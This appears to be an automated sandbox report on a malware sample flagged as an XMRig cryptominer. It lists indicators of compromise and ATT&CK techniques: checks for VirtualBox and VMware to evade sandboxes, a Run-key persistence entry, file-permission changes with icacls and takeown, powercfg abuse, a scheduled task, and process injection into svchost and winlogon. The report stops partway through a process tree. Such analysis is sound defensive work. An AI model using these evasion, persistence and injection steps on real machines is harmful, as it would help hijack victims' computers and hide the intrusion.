xmrig | 6d35123c90aa3e8f70bc56244f04d863b295a46c97ac2d7d57b905d4857021a2

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	Win-v43.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	Win-v41.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	2026-11-13_8f160c2faa0e683c03f8e603e10c0c26_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	Win-v42.exe

Custom signature

UPX dump on OEP (original entry point) 2 IoCs

resource	yara_rule
behavioral2/memory/4460-67-0x00007FF646060000-0x00007FF646933000-memory.dmp	UPX
behavioral2/memory/4460-779-0x00007FF646060000-0x00007FF646933000-memory.dmp	UPX

XMRig Miner payload 1 IoCs

miner

resource	yara_rule
behavioral2/memory/4460-779-0x00007FF646060000-0x00007FF646933000-memory.dmp	xmrig

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
12	4460	cmd.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5100	powershell.exe
4080	powershell.exe
5012	powershell.exe
2868	powershell.exe

Looks for VMWare Tools registry key 2 TTPs 4 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	2026-11-13_8f160c2faa0e683c03f8e603e10c0c26_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	Win-v42.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	Win-v43.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	Win-v41.exe

Possible privilege escalation attempt 3 IoCs

exploit

pid	Process
5796	icacls.exe
4120	icacls.exe
2536	takeown.exe

Executes dropped EXE 5 IoCs

pid	Process
2988	Win-v42.exe
808	Win-v43.exe
4460	cmd.exe
2064	svchost.exe
2940	Win-v41.exe

Modifies file permissions 1 TTPs 3 IoCs

File and Directory Permissions Modification

T1222

pid	Process
5796	icacls.exe
4120	icacls.exe
2536	takeown.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows\CurrentVersion\Run\v4 = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\Explorer\\Win-v43.exe"	2026-11-13_8f160c2faa0e683c03f8e603e10c0c26_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe

File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001

Looks up external IP address via web service 1 TTPs 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Internet Connection Discovery

T1016.001

flow	ioc
1	api64.ipify.org
9	api64.ipify.org

Power Settings 1 TTPs 7 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
4996	powercfg.exe
5088	powercfg.exe
5520	powercfg.exe
3920	powercfg.exe
596	powercfg.exe
4400	powercfg.exe
1252	powercfg.exe

Drops file in System32 directory 12 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File created	C:\Windows\System32\Win-v42.exe	2026-11-13_8f160c2faa0e683c03f8e603e10c0c26_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	ReAgentc.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B76BE66D46C355931939D8CF818D03FD_39DF7432E6EF50CDA9C936E29E7DA30D	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_EAF5D55D93603A879FA973006301F24F	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\Recovery	ReAgentc.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 5008 set thread context of 4460	5008	2026-11-13_8f160c2faa0e683c03f8e603e10c0c26_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	137
PID 5008 set thread context of 2064	5008	2026-11-13_8f160c2faa0e683c03f8e603e10c0c26_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	138

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4460-67-0x00007FF646060000-0x00007FF646933000-memory.dmp	upx
behavioral2/memory/4460-779-0x00007FF646060000-0x00007FF646933000-memory.dmp	upx

Drops file in Windows directory 7 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_psh5hysg.tif.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_hec2dvbu.ise.psm1	powershell.exe
File created	C:\Windows\Win-v41.exe	2026-11-13_8f160c2faa0e683c03f8e603e10c0c26_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe

Executes a command shell one-liner 1 TTPs 6 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4532	cmd.exe
1828	cmd.exe
5916	cmd.exe
5416	cmd.exe
1060	cmd.exe
5720	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	2026-11-13_8f160c2faa0e683c03f8e603e10c0c26_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	cmd.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	cmd.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	2026-11-13_8f160c2faa0e683c03f8e603e10c0c26_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

Internet Connection Discovery

T1016.001

pid	Process
1828	cmd.exe
1524	PING.EXE

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

System Time Discovery

T1124

pid	Process
5916	cmd.exe

Modifies data under HKEY_USERS 52 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,940 10,941 10,942 10,943 10,940 15,1329 15,940 6,944 50,944 10,941 15,942 15,940 50,943 15,944 6,944 15,943 6,1329 50,1329 100,1329 6,941 6,942 6,944 100,940 100"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "17110992,504928405,41816131,507286179,7202265,17110988,7153487,504928410,577889346,5804129,17962391,508368333,17962392,41484365,24262478,9179409,3462423,3702920,3700754,3965062,24262474,4297094,7153421,3462365,18716193,7153435,24262477,25036127,24262473,9179410,20502174,6308191,18407617,39125643,539756558,6104718,9179411,51475283,41185282,39389248,539756557,528570079,7202269"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1524	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
2820	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5008	2026-11-13_8f160c2faa0e683c03f8e603e10c0c26_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
5008	2026-11-13_8f160c2faa0e683c03f8e603e10c0c26_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4080	powershell.exe
4080	powershell.exe
5012	powershell.exe
5012	powershell.exe
2868	powershell.exe
2868	powershell.exe
2988	Win-v42.exe
2988	Win-v42.exe
808	Win-v43.exe
808	Win-v43.exe
5008	2026-11-13_8f160c2faa0e683c03f8e603e10c0c26_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
5008	2026-11-13_8f160c2faa0e683c03f8e603e10c0c26_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
5008	2026-11-13_8f160c2faa0e683c03f8e603e10c0c26_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
5008	2026-11-13_8f160c2faa0e683c03f8e603e10c0c26_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
5008	2026-11-13_8f160c2faa0e683c03f8e603e10c0c26_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
5008	2026-11-13_8f160c2faa0e683c03f8e603e10c0c26_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
5100	powershell.exe
5100	powershell.exe
5100	powershell.exe
5100	powershell.exe
740	winlogon.exe
740	winlogon.exe
2940	Win-v41.exe
2940	Win-v41.exe
5008	2026-11-13_8f160c2faa0e683c03f8e603e10c0c26_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
5008	2026-11-13_8f160c2faa0e683c03f8e603e10c0c26_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
5008	2026-11-13_8f160c2faa0e683c03f8e603e10c0c26_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
5008	2026-11-13_8f160c2faa0e683c03f8e603e10c0c26_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
5008	2026-11-13_8f160c2faa0e683c03f8e603e10c0c26_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
5008	2026-11-13_8f160c2faa0e683c03f8e603e10c0c26_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
5008	2026-11-13_8f160c2faa0e683c03f8e603e10c0c26_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe
740	winlogon.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
5932	explorer.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4080	powershell.exe
Token: SeIncreaseQuotaPrivilege	4080	powershell.exe
Token: SeSecurityPrivilege	4080	powershell.exe
Token: SeTakeOwnershipPrivilege	4080	powershell.exe
Token: SeLoadDriverPrivilege	4080	powershell.exe
Token: SeSystemProfilePrivilege	4080	powershell.exe
Token: SeSystemtimePrivilege	4080	powershell.exe
Token: SeProfSingleProcessPrivilege	4080	powershell.exe
Token: SeIncBasePriorityPrivilege	4080	powershell.exe
Token: SeCreatePagefilePrivilege	4080	powershell.exe
Token: SeBackupPrivilege	4080	powershell.exe
Token: SeRestorePrivilege	4080	powershell.exe
Token: SeShutdownPrivilege	4080	powershell.exe
Token: SeDebugPrivilege	4080	powershell.exe
Token: SeSystemEnvironmentPrivilege	4080	powershell.exe
Token: SeRemoteShutdownPrivilege	4080	powershell.exe
Token: SeUndockPrivilege	4080	powershell.exe
Token: SeManageVolumePrivilege	4080	powershell.exe
Token: 33	4080	powershell.exe
Token: 34	4080	powershell.exe
Token: 35	4080	powershell.exe
Token: 36	4080	powershell.exe
Token: SeDebugPrivilege	5012	powershell.exe
Token: SeIncreaseQuotaPrivilege	5012	powershell.exe
Token: SeSecurityPrivilege	5012	powershell.exe
Token: SeTakeOwnershipPrivilege	5012	powershell.exe
Token: SeLoadDriverPrivilege	5012	powershell.exe
Token: SeSystemProfilePrivilege	5012	powershell.exe
Token: SeSystemtimePrivilege	5012	powershell.exe
Token: SeProfSingleProcessPrivilege	5012	powershell.exe
Token: SeIncBasePriorityPrivilege	5012	powershell.exe
Token: SeCreatePagefilePrivilege	5012	powershell.exe
Token: SeBackupPrivilege	5012	powershell.exe
Token: SeRestorePrivilege	5012	powershell.exe
Token: SeShutdownPrivilege	5012	powershell.exe
Token: SeDebugPrivilege	5012	powershell.exe
Token: SeSystemEnvironmentPrivilege	5012	powershell.exe
Token: SeRemoteShutdownPrivilege	5012	powershell.exe
Token: SeUndockPrivilege	5012	powershell.exe
Token: SeManageVolumePrivilege	5012	powershell.exe
Token: 33	5012	powershell.exe
Token: 34	5012	powershell.exe
Token: 35	5012	powershell.exe
Token: 36	5012	powershell.exe
Token: SeIncreaseQuotaPrivilege	5012	powershell.exe
Token: SeSecurityPrivilege	5012	powershell.exe
Token: SeTakeOwnershipPrivilege	5012	powershell.exe
Token: SeLoadDriverPrivilege	5012	powershell.exe
Token: SeSystemProfilePrivilege	5012	powershell.exe
Token: SeSystemtimePrivilege	5012	powershell.exe
Token: SeProfSingleProcessPrivilege	5012	powershell.exe
Token: SeIncBasePriorityPrivilege	5012	powershell.exe
Token: SeCreatePagefilePrivilege	5012	powershell.exe
Token: SeBackupPrivilege	5012	powershell.exe
Token: SeRestorePrivilege	5012	powershell.exe
Token: SeShutdownPrivilege	5012	powershell.exe
Token: SeDebugPrivilege	5012	powershell.exe
Token: SeSystemEnvironmentPrivilege	5012	powershell.exe
Token: SeRemoteShutdownPrivilege	5012	powershell.exe
Token: SeUndockPrivilege	5012	powershell.exe
Token: SeManageVolumePrivilege	5012	powershell.exe
Token: 33	5012	powershell.exe
Token: 34	5012	powershell.exe
Token: 35	5012	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4460	cmd.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5008 wrote to memory of 4080	5008	2026-11-13_8f160c2faa0e683c03f8e603e10c0c26_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	88
PID 5008 wrote to memory of 5012	5008	2026-11-13_8f160c2faa0e683c03f8e603e10c0c26_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	91
PID 5008 wrote to memory of 2868	5008	2026-11-13_8f160c2faa0e683c03f8e603e10c0c26_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	93
PID 5008 wrote to memory of 2820	5008	2026-11-13_8f160c2faa0e683c03f8e603e10c0c26_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	95
PID 5008 wrote to memory of 5416	5008	2026-11-13_8f160c2faa0e683c03f8e603e10c0c26_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	97
PID 5416 wrote to memory of 5076	5416	cmd.exe	99
PID 5008 wrote to memory of 4532	5008	2026-11-13_8f160c2faa0e683c03f8e603e10c0c26_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	101
PID 4532 wrote to memory of 2536	4532	cmd.exe	103
PID 5008 wrote to memory of 5720	5008	2026-11-13_8f160c2faa0e683c03f8e603e10c0c26_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	104
PID 5720 wrote to memory of 5796	5720	cmd.exe	106
PID 5008 wrote to memory of 1060	5008	2026-11-13_8f160c2faa0e683c03f8e603e10c0c26_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	107
PID 1060 wrote to memory of 4120	1060	cmd.exe	109
PID 5008 wrote to memory of 596	5008	2026-11-13_8f160c2faa0e683c03f8e603e10c0c26_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	110
PID 5008 wrote to memory of 4400	5008	2026-11-13_8f160c2faa0e683c03f8e603e10c0c26_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	122
PID 5008 wrote to memory of 1252	5008	2026-11-13_8f160c2faa0e683c03f8e603e10c0c26_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	124
PID 5008 wrote to memory of 4996	5008	2026-11-13_8f160c2faa0e683c03f8e603e10c0c26_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	126
PID 5008 wrote to memory of 5088	5008	2026-11-13_8f160c2faa0e683c03f8e603e10c0c26_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	128
PID 5008 wrote to memory of 5520	5008	2026-11-13_8f160c2faa0e683c03f8e603e10c0c26_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	130
PID 5008 wrote to memory of 3920	5008	2026-11-13_8f160c2faa0e683c03f8e603e10c0c26_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	132
PID 5008 wrote to memory of 1828	5008	2026-11-13_8f160c2faa0e683c03f8e603e10c0c26_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	134
PID 1828 wrote to memory of 1524	1828	cmd.exe	136
PID 5008 wrote to memory of 4460	5008	2026-11-13_8f160c2faa0e683c03f8e603e10c0c26_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	137
PID 5008 wrote to memory of 2064	5008	2026-11-13_8f160c2faa0e683c03f8e603e10c0c26_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	138
PID 5916 wrote to memory of 5100	5916	cmd.exe	140
PID 5100 wrote to memory of 740	5100	powershell.exe	5
PID 740 wrote to memory of 956	740	winlogon.exe	9
PID 740 wrote to memory of 968	740	winlogon.exe	10
PID 740 wrote to memory of 480	740	winlogon.exe	11
PID 740 wrote to memory of 1032	740	winlogon.exe	13
PID 740 wrote to memory of 1128	740	winlogon.exe	15
PID 740 wrote to memory of 2940	740	winlogon.exe	142
PID 740 wrote to memory of 1188	740	winlogon.exe	16
PID 740 wrote to memory of 1272	740	winlogon.exe	17
PID 740 wrote to memory of 1352	740	winlogon.exe	18
PID 740 wrote to memory of 1368	740	winlogon.exe	19
PID 740 wrote to memory of 1376	740	winlogon.exe	20
PID 740 wrote to memory of 1568	740	winlogon.exe	23
PID 740 wrote to memory of 1596	740	winlogon.exe	24
PID 740 wrote to memory of 1688	740	winlogon.exe	25
PID 740 wrote to memory of 1768	740	winlogon.exe	26
PID 740 wrote to memory of 1776	740	winlogon.exe	27
PID 740 wrote to memory of 1792	740	winlogon.exe	28
PID 740 wrote to memory of 1972	740	winlogon.exe	29
PID 740 wrote to memory of 1396	740	winlogon.exe	30
PID 740 wrote to memory of 1784	740	winlogon.exe	31
PID 740 wrote to memory of 1932	740	winlogon.exe	32
PID 740 wrote to memory of 2180	740	winlogon.exe	33
PID 740 wrote to memory of 2188	740	winlogon.exe	34
PID 740 wrote to memory of 2268	740	winlogon.exe	35
PID 740 wrote to memory of 2408	740	winlogon.exe	36
PID 740 wrote to memory of 2416	740	winlogon.exe	37
PID 740 wrote to memory of 2500	740	winlogon.exe	38
PID 740 wrote to memory of 2568	740	winlogon.exe	39
PID 740 wrote to memory of 2592	740	winlogon.exe	40
PID 740 wrote to memory of 2756	740	winlogon.exe	41
PID 740 wrote to memory of 2856	740	winlogon.exe	42
PID 740 wrote to memory of 2992	740	winlogon.exe	43
PID 740 wrote to memory of 3012	740	winlogon.exe	44
PID 740 wrote to memory of 716	740	winlogon.exe	45
PID 740 wrote to memory of 2124	740	winlogon.exe	46
PID 740 wrote to memory of 3164	740	winlogon.exe	47
PID 740 wrote to memory of 3304	740	winlogon.exe	50
PID 740 wrote to memory of 3488	740	winlogon.exe	51
PID 740 wrote to memory of 3628	740	winlogon.exe	52

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:740
- C:\Windows\system32\fontdrvhost.exe
  "fontdrvhost.exe"
  2⤵
  PID:968
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:1188
- C:\Windows\Win-v41.exe
  "C:\Windows\Win-v41.exe"
  2⤵
  - Looks for VirtualBox Guest Additions in registry
  - Looks for VMWare Tools registry key
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:2940

C:\Windows\system32\fontdrvhost.exe
"fontdrvhost.exe"
1⤵
PID:956

C:\Windows\System32\WUDFHost.exe
